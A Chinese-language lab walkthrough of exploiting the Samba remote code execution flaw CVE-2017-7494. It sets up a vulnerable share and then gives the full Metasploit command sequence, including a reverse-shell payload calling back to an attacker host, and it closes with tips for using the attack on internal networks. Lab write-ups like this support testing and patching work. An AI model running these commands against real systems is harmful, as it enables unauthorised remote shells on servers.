Samba RCE 利用小记 [ CVE-2017-7494 ]
0x01 Samba 远程执行快速利用小结 CVE-2017-7494,至于samba是什么,我就不科普了[说白点儿就是个win和linux机器共享文件的服务,企业里面已经用到烂的东西],直接看过程吧1
漏洞影响Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本
0x02 关于漏洞的简要描述,说的通俗一点就是’允许samba用户上传自己的类库到可读写的samba目录中’所导致的远程执行:1
https://www.samba.org/samba/security/CVE-2017-7494.html
0x03 在演示漏洞利用之前,我们需要先快速配置下samba环境[这里以centos 6.8 x64上的编译安装为例,至于为什么要编译,只因踏了太多的坑]:1
2
3
4
5
6
7首先,准备好共享目录:
# mkdir /opt/opendir
# cd /opt/opendir
# mkdir demodir{1..12}
# touch file{1..12}
# echo "hello samba" >> file1
# chmod -R 777 /opt/opendir/ 权限务必管够,因为要往这里面读写
1 | 下载编译安装samba 4.5.9: |
0x04 编辑samba的主配置文件:1
2# cp examples/smb.conf.default /opt/samba/etc/smb.conf
# vi /opt/samba/etc/smb.conf
0x05 添加共享目录1
2
3
4
5
6[global] # 全局配置
workgroup = MYGROUP
server string = Samba Server
log file = /opt/samba/var/log.%m
max log size = 50 单位kb
security = user 务必把这句加上,设置安全等级用的,必须用户登录
1 | [opendir] #共享目录配置 |
0x06 创建samba用户1
2
3
4# useradd smber
# cd /opt/samba/bin/
# ./smbpasswd -a smber 添加samba用户
# cd /opt/samba/sbin/ && ./nmbd && ./smbd
1 | smbd:为clinet提高资源访问 tcp 139 445 |
0x07 准别好msf的exp[当然,有py版的,msf会更方便点]:1
# wget https://raw.githubusercontent.com/hdm/metasploit-framework/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
0x08 把它丢到samba的漏洞利用模块目录下1
# mv is_known_pipename.rb /usr/share/metasploit-framework/modules/exploits/linux/samba/
0x09 开始利用过程:1
2
3
4
5
6
7
8
9
10
11# msfconsole
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > set rhost 192.168.3.15
msf exploit(is_known_pipename) > set smb_share_base /opt/opendir
msf exploit(is_known_pipename) > set target 0
msf exploit(is_known_pipename) > set payload linux/x64/shell_reverse_tcp
msf exploit(is_known_pipename) > set lhost 192.168.3.9
msf exploit(is_known_pipename) > set lport 443
msf exploit(is_known_pipename) > set smbuser smber
msf exploit(is_known_pipename) > set smbpass admin
msf exploit(is_known_pipename) > exploit
一点小结:
中间的坑就不想说了,本来几分钟就可以重现的东西,浪费了一个多小时,唉,都是泪,总之,对于内网的linux机器还是非常值得尝试的,前提是开了此服务并且已经事先拿到了一个可以登录的samba账户密码[匿名非常少,几乎没有],而且版本号务必要对的上才行,说白点,如果直接是yum或者apt安装的,更新非常容易……你懂的,如果是编译安装的可能还更新的稍微慢一点